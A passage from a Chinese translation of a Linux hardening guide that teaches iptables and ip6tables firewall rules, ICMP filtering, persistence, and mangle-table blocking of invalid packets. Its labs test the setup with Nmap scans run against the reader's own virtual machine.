-我们的新规则集如下所示: - -```sh - donnie@ubuntu:~$ sudo iptables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED - Chain FORWARD (policy ACCEPT) - target prot opt source destination - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -接下来,我们将打开端口`22`,这样我们就可以通过安全外壳进行连接: - -```sh -sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT - -``` - -细分如下: - -* `-A INPUT`:和之前一样,我们想把这个规则放在`INPUT`链的末端,加上`-A`。 -* `-p tcp` : `-p`表示该规则影响的协议。此规则影响 TCP 协议,安全外壳是该协议的一部分。 -* `--dport ssh`:当一个选项名称由多个字母组成时,我们需要在前面加两个破折号,而不是只有一个。`--dport`选项指定我们希望此规则运行的目的端口。(注意,我们也可以将这部分规则列为`--dport 22`,因为 22 是 SSH 端口的号码。) -* `-j ACCEPT`:如果我们把这些都和`-j ACCEPT`放在一起,那么我们就有了一个规则,允许其他机器通过 Secure Shell 连接到这个机器。 - -现在,假设我们希望这台机器成为一台 DNS 服务器。为此,我们需要为 TCP 和 UDP 协议打开端口`53`: - -```sh -sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT -sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT -``` - -最后,我们的`INPUT`链有了一个几乎完整的可用规则集: - -```sh - donnie@ubuntu:~$ sudo iptables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - ACCEPT all -- anywhere anywhere ctstate - RELATED,ESTABLISHED - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh - DROP all -- anywhere anywhere - Chain FORWARD (policy ACCEPT) - target prot opt source destination - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -然而,这只是几乎完成,因为还有一件小事我们忘记了。也就是说,我们需要允许环回接口的流量。这没问题,因为这给了我们一个很好的机会,如果我们不想在最后插入规则,我们可以看看如何在我们想要的地方插入规则。在这种情况下,我们将在`INPUT 1`处插入规则,这是`INPUT`链的第一个位置: - -```sh -sudo iptables -I INPUT 1 -i lo -j ACCEPT -``` - -Before you inserted the `ACCEPT` rule for the `lo` interface, you may have noticed that sudo commands were taking a long time to complete and that you were getting `sudo: unable to resolve host. . .Resource temporarily unavailable` messages. That's because sudo needs to know the machine's hostname so that it can know which rules are allowed to run on a particular machine. It uses the loopback interface to help resolve the hostname. If the `lo` interface is blocked, it takes longer for sudo to resolve the hostname. - -我们的规则集现在如下所示: - -```sh -donnie@ubuntu:~$ sudo iptables -L -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- anywhere anywhere -ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED -ACCEPT tcp -- anywhere anywhere tcp dpt:ssh -ACCEPT tcp -- anywhere anywhere tcp dpt:domain -ACCEPT udp -- anywhere anywhere udp dpt:domain - -Chain FORWARD (policy ACCEPT) -target prot opt source destination - -Chain OUTPUT (policy ACCEPT) -target prot opt source destination -donnie@ubuntu:~$ -``` - -注意端口`53`是如何被列为域端口的。要查看端口号而不是端口名称,我们可以使用`-n`开关: - -```sh -donnie@ubuntu3:~$ sudo iptables -L -n -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 -ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED -ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 -ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:53 -ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53 - -Chain FORWARD (policy ACCEPT) -target prot opt source destination - -Chain OUTPUT (policy ACCEPT) -target prot opt source destination -donnie@ubuntu3:~$ -``` - -现在,就目前的情况来看,我们仍然允许*一切*通过,因为我们仍然没有创建一个规则来阻止我们没有明确允许的事情。不过,在此之前,让我们再看一些我们可能希望允许的事情。 - -# 用 iptables 阻止 ICMP - -在你职业生涯的大部分时间里,你可能听说过的传统观点是,我们需要阻止来自**互联网控制消息协议** ( **ICMP** )的所有数据包。你可能被告知的想法是通过阻止 ping 数据包使你的服务器对黑客不可见。当然,还有一些与 ICMP 相关的漏洞,例如: - -* 通过使用僵尸网络,黑客可以同时用来自多个来源的 ping 数据包淹没您的服务器,耗尽您的服务器的应对能力。 -* 与 ICMP 协议相关的某些漏洞可能允许黑客获得您系统的管理权限,将您的流量重定向到恶意服务器,或者使您的操作系统崩溃。 -* 通过使用一些简单的黑客工具,有人可以在 ICMP 数据包的数据字段中嵌入敏感数据,以便从您的组织中秘密泄露这些数据。 - -然而,虽然阻止某些类型的 ICMP 数据包是好的,但阻止所有 ICMP 数据包是坏的。严酷的现实是,某些类型的 ICMP 消息对于网络的正常运行是必要的。由于我们最终创建的*丢弃所有不允许的*规则也会阻止 ICMP 数据包,因此我们需要创建一些允许我们必须拥有的 ICMP 消息类型的规则。所以,这是: - -```sh -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 3 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 11 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 12 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT -``` - -细分如下: - -* `-m conntrack`:和之前一样,我们使用`conntrack`模块来允许处于某种状态的数据包。不过,这一次,我们不仅仅允许来自我们的服务器所连接的主机(`ESTABLISHED,RELATED`)的数据包,我们还允许其他主机向我们的服务器发送`NEW`数据包。 -* `-p icmp`:这里指的是 ICMP 协议。 -* `--icmp-type`:ICMP 消息有很多种类型,接下来我们将对其进行概述。 - -我们希望允许的三种 ICMP 消息如下: - -* `type 3`:这些是目的地无法到达的消息。他们不仅可以告诉你的服务器它无法到达某个主机,还可以告诉它为什么。例如,如果服务器发出的数据包太大,网络交换机无法处理,交换机将发回一条 ICMP 消息,告诉服务器将该大数据包分段。如果没有 ICMP,服务器每次试图发送一个需要分解成碎片的大数据包时都会出现连接问题。 -* `type 11`:超时消息让您的服务器知道,它发出的数据包在到达目的地之前已经超过了其**生存时间** ( **TTL** )值,或者在 TTL 到期日期之前无法重新组装碎片数据包。 -* `type 12`:参数问题消息表示服务器发送了一个 IP 头错误的数据包。换句话说,IP 报头要么缺少选项标志,要么长度无效。 - -我们的列表中明显缺少三种常见的消息类型: - -* `type 0`和`type 8`:这些就是臭名昭著的 ping 包。实际上,`type 8`是你发送给 ping 主机的回显请求包,`type 0`是主机返回的回显回复,让你知道它还活着。当然,允许 ping 数据包通过可能对排除网络问题有很大帮助。如果出现这种情况,您可以添加一些 iptables 规则来暂时允许 pings。 -* `type 5`:现在,我们有了臭名昭著的重定向消息。如果你有一台路由器,可以建议服务器使用更有效的路径,允许这些可能会很方便,但黑客也可以使用它们将你重定向到你不想去的地方。所以,挡住他们。 - -ICMP 消息类型比我在这里展示的要多得多,但这些是我们目前唯一需要担心的。 - -当我们使用`sudo iptables -L`时,我们将看到我们的新规则集,就目前的情况而言: - -```sh -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- anywhere anywhere -ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED -ACCEPT tcp -- anywhere anywhere tcp dpt:ssh -ACCEPT tcp -- anywhere anywhere tcp dpt:domain -ACCEPT udp -- anywhere anywhere udp dpt:domain -ACCEPT icmp -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp destination-unreachable -ACCEPT icmp -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp source-quench -ACCEPT icmp -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp time-exceeded -ACCEPT icmp -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp parameter-problem -Chain FORWARD (policy ACCEPT) -target prot opt source destination -Chain OUTPUT (policy ACCEPT) -target prot opt source destination - -``` - -看起来不错,是吧?不完全是。我们还没有用这个规则集阻止任何东西。所以,让我们来解决这个问题。 - -# 阻止 iptables 不允许的所有内容 - -要开始阻止我们不想要的东西,我们必须做两件事之一。我们可以为`INPUT`链设置默认的`DROP`或`REJECT`策略,或者我们可以将策略设置保留为`ACCEPT`并在`INPUT`链的末端创建一个`DROP`或`REJECT`规则。你选择哪一个真的是个人喜好的问题。(当然,在选择其中一个之前,您可能需要查看组织的政策手册,看看您的雇主是否有偏好。) - -`DROP`和`REJECT`的区别在于`DROP`会拦截数据包,而不会向发送方发回任何消息。`REJECT`拦截数据包,然后向发送方发回一条消息,说明数据包被拦截的原因。就我们目前的目的而言,假设我们只是想要我们不想通过的`DROP`数据包。 - -There are times when `DROP` is better, and times when `REJECT` is better. Use `DROP` if it's important to make your host invisible. (Although, even that isn't that effective, because there are other ways to discover hosts.) If you need your hosts to inform other hosts about why they can't make a connection, then use `REJECT`. The big advantage of `REJECT` is that it will let connecting hosts know that their packets are being blocked so that they will know to immediately quit trying to make a connection. With `DROP`, the host that's trying to make the connection will just keep trying to make the connection until it times out. - -要在`INPUT`链的末端创建`DROP`规则,请使用以下代码: - -```sh -donnie@ubuntu:~$ sudo iptables -A INPUT -j DROP -donnie@ubuntu:~$ -``` - -要设置默认的`DROP`策略,我们可以使用以下代码: - -```sh -donnie@ubuntu:~$ sudo iptables -P INPUT DROP -donnie@ubuntu:~$ -``` - -设置默认的`DROP`或`REJECT`政策的最大好处是,如果需要的话,可以更容易地添加新的`ACCEPT`规则。这是因为如果我们决定保留默认的`ACCEPT`策略,并创建一个`DROP`或`REJECT`规则,该规则必须在列表的底部。 - -由于 iptables 规则是按从上到下的顺序进行处理的,因此在`DROP`或`REJECT`规则之后的任何`ACCEPT`规则都将无效。您需要在最终的`DROP`或`REJECT`规则之上插入任何新的`ACCEPT`规则,这比仅仅能够将它们附加到列表的末尾稍微不方便一点。现在,为了说明我的下一点,我刚刚离开了默认的`ACCEPT`策略,添加了`DROP`规则。 - -当我们查看我们的新规则集时,我们会看到一些相当奇怪的东西: - -```sh -donnie@ubuntu:~$ sudo iptables -L -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT all -- anywhere anywhere -ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED -. . . -. . . -ACCEPT icmp -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp parameter-problem -DROP all -- anywhere anywhere - -Chain FORWARD (policy ACCEPT) -target prot opt source destination -. . . -. . . - -``` - -`INPUT`链的第一个规则和最后一个规则看起来是一样的,只是一个是`DROP`,另一个是`ACCEPT`。让我们用`-v`(详细)选项再看一遍: - -```sh -donnie@ubuntu:~$ sudo iptables -L -v -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 67 4828 ACCEPT all -- lo any anywhere anywhere - 828 52354 ACCEPT all -- any any anywhere anywhere ctstate RELATED,ESTABLISHED -. . . -. . . - 0 0 ACCEPT icmp -- any any anywhere anywhere ctstate NEW,RELATED,ESTABLISHED icmp parameter-problem - 251 40768 DROP all -- any any anywhere anywhere - -Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination -. . . -. . . -``` - -现在,我们可以看到`lo`,对于环回,显示在第一个规则的`in`列下,`any`显示在最后一个规则的`in`列下。我们还可以看到`-v`开关显示了每个规则已经计数的数据包和字节的数量。因此,在前面的例子中,我们可以看到`ctstate RELATED,ESTABLISHED`规则已经接受了 828 个数据包和 52,354 个字节。`DROP all`规则已经阻止了 251 个数据包和 40,763 个字节。 - -这些看起来都很棒,只是如果我们现在重启机器,规则就会消失。我们需要做的最后一件事是使它们永久化。有几种方法可以做到这一点,但是在 Ubuntu 机器上最简单的方法是安装`iptables-persistent`包: - -```sh -sudo apt install iptables-persistent -``` - -在安装过程中,您将看到两个屏幕,询问您是否要保存当前的 iptables 规则集。第一个屏幕将显示 IPv4 规则,而第二个屏幕将显示 IPv6 规则: - -![](img/2f1f88fb-a4e8-4059-8d91-1ef4aeaed364.png) - -您现在将在`/etc/iptables`目录中看到两个新的规则文件: - -```sh - donnie@ubuntu:~$ ls -l /etc/iptables* - total 8 - -rw-r--r-- 1 root root 336 Oct 10 10:29 rules.v4 - -rw-r--r-- 1 root root 183 Oct 10 10:29 rules.v6 - donnie@ubuntu:~$ -``` - -如果你现在重启机器,你会发现你的 iptables 规则仍然有效。`iptables-persistent`唯一的小问题是,它不会保存您对规则所做的任何后续更改。不过,没关系。我稍后会告诉你如何处理。 - -# iptables 基本用法的实践实验室 - -您将在您的 Ubuntu 虚拟机上完成本实验。按照以下步骤开始: - -1. 关闭你的 Ubuntu 虚拟机并创建一个快照。备份引导后,通过使用以下命令查看 iptables 规则或缺少规则的情况: - -```sh -sudo iptables -L -``` - -2. 创建基本防火墙所需的规则,允许安全外壳访问、DNS 查询和区域传输以及适当类型的 ICMP。否认其他一切: - -```sh -sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT -sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT -sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 3 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 11 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -m conntrack -p icmp --icmp-type 12 --ctstate NEW,ESTABLISHED,RELATED -j ACCEPT - -sudo iptables -A INPUT -j DROP -``` - -3. 使用以下命令查看结果: - -```sh -sudo iptables -L -``` - -4. 哎呀–看起来您忘记了那个环回接口。在列表顶部为其添加规则: - -```sh -sudo iptables -I INPUT 1 -i lo -j ACCEPT -``` - -5. 使用以下两个命令查看结果。注意每个输出之间的差异: - -```sh - sudo iptables -L - sudo iptables -L -v -``` - -6. 安装`iptables-persistent`包,出现提示时选择保存 IPv4 和 IPv6 规则: - -```sh -sudo apt install iptables-persistent -``` - -7. 重新启动虚拟机,并验证您的规则仍然有效。 -8. 保留此虚拟机;在下一个实践实验中,您将添加更多内容。 - -本实验到此结束—祝贺您! - -# 用 iptables 阻止无效数据包 - -如果你在信息技术行业已经工作了很长时间,你很可能已经熟悉了传统的 TCP 三次握手。如果你不是,别担心。下面是简单的解释。 - -假设你坐在你的工作站上,你拉起火狐来访问一个网站。要访问该网站,您的工作站和 web 服务器必须建立连接。事情是这样的: - -* 您的工作站向网络服务器发送仅设置了`SYN`标志的数据包。这是你的工作站说“你好,服务器先生”的方式。我想和你建立联系。” -* 收到工作站的`SYN`包后,网络服务器发回一个设置了`SYN`和`ACK`标志的包。有了这个,服务器说,“是啊,兄弟。我在这里,我愿意和你联系。” -* 收到`SYN-ACK`数据包后,工作站发回一个仅设置了`ACK`标志的数据包。有了这个,工作站说,“酷交易,伙计。我很高兴和你联系。” -* 收到`ACK`数据包后,服务器建立与工作站的连接,以便它们可以交换信息。 - -该序列的工作方式与设置任何类型的 TCP 连接相同。这包括涉及安全外壳、远程登录和各种邮件服务器协议等的连接。 - -然而,聪明的人可以使用各种工具用一些非常奇怪的标志组合来制作 TCP 数据包。有了这些所谓的*无效*数据包,可能会发生一些事情: - -* 无效数据包可用于从目标机器引出响应,以找出它运行的是什么操作系统,运行的是什么服务,以及运行的是什么版本的服务。 -* 无效数据包可用于触发目标机器上的某些安全漏洞。 -* 其中一些无效数据包需要比正常数据包更多的处理能力,这可能使它们对执行 DoS 攻击有用。 - -现在,事实上,过滤器表的`INPUT`链末端的`DROP all`规则将阻止这些无效数据包中的一些。然而,这条规则可能会遗漏一些东西。即使我们可以指望它来阻止所有无效的东西,这仍然不是最有效的做事方式。依靠这个`DROP all`规则,我们允许这些无效的数据包通过整个`INPUT`链,寻找一个规则让它们通过。当没有为他们找到`ALLOW`规则时,他们最终会被`DROP all`规则所阻止,这是链条中的最后一条规则。那么,如果我们能找到一个更有效的解决方案呢? - -理想情况下,我们希望在这些无效数据包通过整个`INPUT`链之前阻止它们。我们可以用`PREROUTING`链来实现,但是过滤表没有`PREROUTING`链。因此,我们需要使用轧台的`PREROUTING`链条来代替。让我们从添加这两条规则开始: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP - [sudo] password for donnie: - donnie@ubuntu:~$ sudo iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP - donnie@ubuntu:~$ -``` - -这些规则中的第一条将阻止大多数我们认为无效的*。然而,它仍然错过了一些东西。因此,我们增加了第二个规则,它会阻止所有不是`SYN`数据包的`NEW`数据包。现在,让我们看看我们有什么:* - -```sh - donnie@ubuntu:~$ sudo iptables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - ACCEPT all -- anywhere anywhere - ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh - DROP all -- anywhere anywhere - - Chain FORWARD (policy ACCEPT) - target prot opt source destination - - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -嗯(表示踌躇等)... - -我们看不到我们的新规则,是吗?这是因为,默认情况下,`iptables -L`只显示过滤器表的规则。我们需要看到我们刚刚放入轧轧台的东西,所以让我们这样做: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -L - Chain PREROUTING (policy ACCEPT) - target prot opt source destination - DROP all -- anywhere anywhere ctstate INVALID - DROP tcp -- anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW - - Chain INPUT (policy ACCEPT) - target prot opt source destination - Chain FORWARD (policy ACCEPT) - target prot opt source destination - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - Chain POSTROUTING (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -在这里,我们使用了`-t mangle`选项来表示我们想要查看 mangle 表的配置。您可能已经注意到了一些非常奇怪的事情,iptables 是如何呈现由`sudo iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP`命令创建的规则的。出于某种原因,它呈现如下: - -```sh -DROP tcp -- anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW -``` - -这看起来很奇怪,但不要让它影响你。这仍然意味着它正在阻止不是`SYN`数据包的`NEW`数据包。 - -之前,我提到 iptables-persistent 包不会保存对 iptables 规则的后续更改。因此,就目前的情况来看,我们刚刚添加的破坏表规则将在我重新启动虚拟机后消失。为了使这些更改永久化,我将使用`iptables-save`命令在我自己的主目录中保存一个新文件。然后,我将文件复制到`/etc/iptables`目录,替换原来的文件: - -```sh - donnie@ubuntu:~$ sudo iptables-save > rules.v4 - [sudo] password for donnie: - donnie@ubuntu:~$ sudo cp rules.v4 /etc/iptables/ - donnie@ubuntu:~$ -``` - -为了测试这一点,我们将使用一个叫做 Nmap 的便利实用程序。这是一个免费的实用程序,你可以安装在你的 Windows、Mac 或 Linux 工作站上。或者,如果您不想在您的主机上安装它,您可以在您的一个 Linux 虚拟机上安装它。它在 Debian/Ubuntu、RHEL/CentOS 7 和 RHEL/CentOS 8 的普通存储库中。因此,只需使用适合您的发行版的安装命令来安装 Nmap 包。如果你想在你的 Windows 或 Mac 主机上安装 Nmap,你需要从 Nmap 网站下载。 - -You can download Nmap from the official website, which can be found here: [https://nmap.org/download.html](https://nmap.org/download.html). - -有了新的破坏表规则,让我们对 Ubuntu 机器进行一次 XMAS 扫描。我在我目前使用的 Fedora 工作站上安装了 Nmap,所以我现在就用这个。我可以这样做: - -```sh -[donnie@fedora-teaching ~]$ sudo nmap -sX 192.168.0.15 - [sudo] password for donnie: - Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 21:20 EDT - Nmap scan report for 192.168.0.15 - Host is up (0.00052s latency). - All 1000 scanned ports on 192.168.0.15 are open|filtered - MAC Address: 08:00:27:A4:95:1A (Oracle VirtualBox virtual NIC) - - Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds - [donnie@fedora-teaching ~]$ -``` - -默认情况下,Nmap 只扫描最常用的 1000 个端口。XMAS 扫描发送由 FIN、PSH 和 URG 标志组成的无效数据包。1000 个扫描端口全部显示为`open|filtered`意味着扫描被阻止,Nmap 无法确定端口的真实状态。(现实中`22`口是开着的。)我们可以查看结果,看看哪个规则执行了阻塞。(为了简化一点,我将只显示`PREROUTING`链的输出,因为它是唯一一个可以做任何事情的破坏表链): - -```sh -donnie@ubuntu:~$ sudo iptables -t mangle -L -v - Chain PREROUTING (policy ACCEPT 2898 packets, 434K bytes) - pkts bytes target prot opt in out source destination - - 2000 80000 DROP all -- any any anywhere anywhere ctstate INVALID - - 0 0 DROP tcp -- any any anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW - - . . . - . . . - donnie@ubuntu:~$ -``` - -在这里,你可以看到第一个规则——第`INVALID`规则——阻塞了 2000 个数据包和 80000 个字节。现在,让我们将计数器归零,以便进行另一次扫描: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -Z - donnie@ubuntu:~$ sudo iptables -t mangle -L -v - Chain PREROUTING (policy ACCEPT 22 packets, 2296 bytes) - pkts bytes target prot opt in out source destination - 0 0 DROP all -- any any anywhere anywhere ctstate INVALID - 0 0 DROP tcp -- any any anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW - - . . . - . . . - donnie@ubuntu:~$ -``` - -这次我们来做一个`Window`扫描,用`ACK`包轰击目标机: - -```sh -[donnie@fedora-teaching ~]$ sudo nmap -sW 192.168.0.15 - Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 21:39 EDT - Nmap scan report for 192.168.0.15 - Host is up (0.00049s latency). - All 1000 scanned ports on 192.168.0.15 are filtered - MAC Address: 08:00:27:A4:95:1A (Oracle VirtualBox virtual NIC) - - Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds - [donnie@fedora-teaching ~]$ -``` - -和以前一样,扫描被阻止,消息显示所有 1,000 个扫描的端口都已被过滤。现在,让我们看看我们在目标 Ubuntu 机器上有什么: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -L -v - Chain PREROUTING (policy ACCEPT 45 packets, 6398 bytes) - pkts bytes target prot opt in out source destination - - 0 0 DROP all -- any any anywhere anywhere ctstate INVALID - - 2000 80000 DROP tcp -- any any anywhere anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ctstate NEW - - . . . - . . . - donnie@ubuntu:~$ -``` - -这一次,我们可以看到我们的无效数据包通过了第一个规则,但被第二个规则阻止了。 - -现在,只是为了好玩,让我们清除混乱的表格规则,再次进行扫描。我们将使用`-D`选项从损坏表中删除两个规则: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -D PREROUTING 1 - donnie@ubuntu:~$ sudo iptables -t mangle -D PREROUTING 1 - donnie@ubuntu:~$ -``` - -删除规则时,必须指定规则编号,就像插入规则一样。这里,我指定了规则 1 两次,因为删除第一个规则会将第二个规则移到第一位。现在,让我们验证这些规则是否已经消失: - -```sh - donnie@ubuntu:~$ sudo iptables -t mangle -L - Chain PREROUTING (policy ACCEPT) - target prot opt source destination - - . . . - . . . - donnie@ubuntu:~$ -``` - -是的,他们是。酷。现在,让我们看看当我们执行另一个 XMAS 扫描时会得到什么: - -```sh - [donnie@fedora-teaching ~]$ sudo nmap -sX 192.168.0.15 - [sudo] password for donnie: - Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 21:48 EDT - Nmap scan report for 192.168.0.15 - Host is up (0.00043s latency). - All 1000 scanned ports on 192.168.0.15 are open|filtered - MAC Address: 08:00:27:A4:95:1A (Oracle VirtualBox virtual NIC) - - Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds - [donnie@fedora-teaching ~]$ -``` - -即使没有 mangle 表规则,它也表明我的扫描仍然被阻止。这是怎么回事?这是因为我在 INPUT 表的末尾还有`DROP all`规则。让我们禁用它,看看我们在另一次扫描中得到什么。 - -首先,我需要了解规则编号: - -```sh -donnie@ubuntu:~$ sudo iptables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - ACCEPT all -- anywhere anywhere - ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh - DROP all -- anywhere anywhere - - Chain FORWARD (policy ACCEPT) - target prot opt source destination - - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -倒计时,我可以看到这是规则 4,所以我将删除它: - -```sh -donnie@ubuntu:~$ sudo iptables -D INPUT 4 -donnie@ubuntu:~$donnie@ubuntu:~$ sudo iptables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - ACCEPT all -- anywhere anywhere - ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh - - Chain FORWARD (policy ACCEPT) - target prot opt source destination - - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -现在,对于 XMAS 扫描: - -```sh -[donnie@fedora-teaching ~]$ sudo nmap -sX 192.168.0.15 - Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 21:49 EDT - Nmap scan report for 192.168.0.15 - Host is up (0.00047s latency). - Not shown: 999 closed ports - PORT STATE SERVICE - 22/tcp open|filtered ssh - MAC Address: 08:00:27:A4:95:1A (Oracle VirtualBox virtual NIC) - - Nmap done: 1 IP address (1 host up) scanned in 98.76 seconds - [donnie@fedora-teaching ~]$ -``` - -这一次,扫描显示 999 个端口关闭,SSH 端口`22`打开或过滤。这表明扫描不再被任何东西阻挡。 - -# 恢复已删除的规则 - -当我使用`iptables -D`命令时,我只从运行时配置中删除了规则,而没有从`rules.v4`配置文件中删除。要恢复我删除的规则,我可以重新启动计算机或重新启动 netfilter-persistent 服务。后一种选择更快,所以我将用下面的代码激活它: - -```sh -donnie@ubuntu:~$ sudo systemctl restart netfilter-persistent -[sudo] password for donnie: -donnie@ubuntu:~$ -``` - -`iptables -L`和`iptables -t mangle -L`命令将显示所有规则现在都恢复生效。 - -# 阻止无效 IPv4 数据包的动手实验 - -在本实验中,您将使用与上一实验相同的虚拟机。你不会取代任何你已经有的规则。相反,你只需要添加几个。让我们开始吧: - -1. 看看过滤器和破坏表的规则。(请注意,`-v`选项向您显示被丢弃和拒绝规则阻止的数据包的统计信息。)然后,清零阻塞数据包计数器: - -```sh -sudo iptables -L -v -sudo iptables -t mangle -L -v -sudo iptables -Z -sudo iptables -t mangle -Z -``` - -2. 从您的主机或其他虚拟机,对虚拟机执行空和 Windows Nmap 扫描: - -```sh -sudo nmap -sN ip_address_of_your_VM -sudo nmap -sW ip_address_of_your_VM -``` - -3. 重复*步骤 1* 。您应该会看到过滤器表的`INPUT`链中被最终`DROP`规则阻止的数据包数量大幅增加: - -```sh -sudo iptables -L -v -sudo iptables -t mangle -L -v -``` - -4. 通过使用 mangle 表的`PREROUTING`链来丢弃无效数据包,例如我们刚刚执行的两次 Nmap 扫描产生的数据包,使防火墙更有效地工作。使用以下两个命令添加两个必需的规则: - -```sh -sudo iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP - -sudo iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP -``` - -5. 将新配置保存到您自己的主目录中。然后,将文件复制到正确的位置,并清空被阻止的数据包计数器: - -```sh -sudo iptables-save > rules.v4 -sudo cp rules.v4 /etc/iptables -sudo iptables -Z -sudo iptables -t mangle -Z -``` - -6. 仅对虚拟机执行空扫描: - -```sh -sudo nmap -sN ip_address_of_your_VM -``` - -7. 查看 iptables 规则集,观察哪个规则是由 Nmap 扫描触发的: - -```sh -sudo iptables -L -v -sudo iptables -t mangle -L -v -``` - -8. 这一次,仅对虚拟机执行 Windows 扫描: - -```sh -sudo nmap -sW ip_address_of_your_VM -``` - -9. 观察此扫描触发了哪个规则: - -```sh -sudo iptables -L -v -sudo iptables -t mangle -L -v -``` - -本实验到此结束—祝贺您! - -# 保护 IPv6 - -我知道,你已经习惯了所有基于 IPv4 的网络,它的 IP 地址很好,很短,很容易使用。然而,考虑到世界现在没有新的 IPv4 地址,这不可能永远持续下去。IPv6 提供了更大的地址空间,这将持续很长一段时间。一些组织,尤其是无线运营商,要么正在切换到 IPv6,要么已经切换到 IPv6。 - -到目前为止,我们只讨论了如何使用 iptables 设置 IPv4 防火墙。但是记住我们之前说过的话。使用 iptables,您需要一个守护进程和一组规则用于 IPv4 网络,另一个守护进程和一组规则用于 IPv6。这意味着在使用 iptables 设置防火墙时,保护 IPv6 意味着每件事都要做两次。大多数 Linux 发行版都默认启用了 IPv6 网络,因此您需要用防火墙保护它或者禁用它。否则,您的 IPv6 地址仍然会受到攻击,因为您刚刚配置的 IPv4 防火墙不会保护它。即使您的服务器或设备面向 IPv4 互联网,也是如此,因为有多种方法可以通过 IPv4 网络隧道传输 IPv6 数据包。幸运的是,设置 IPv6 防火墙的命令与我们刚刚介绍的基本相同。最大的区别是不用`iptables`命令,而是用`ip6tables`命令。让我们从基本设置开始,就像我们对 IPv4 所做的那样: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -i lo -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT - -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p tcp --dport ssh -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p tcp --dport 53 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p udp 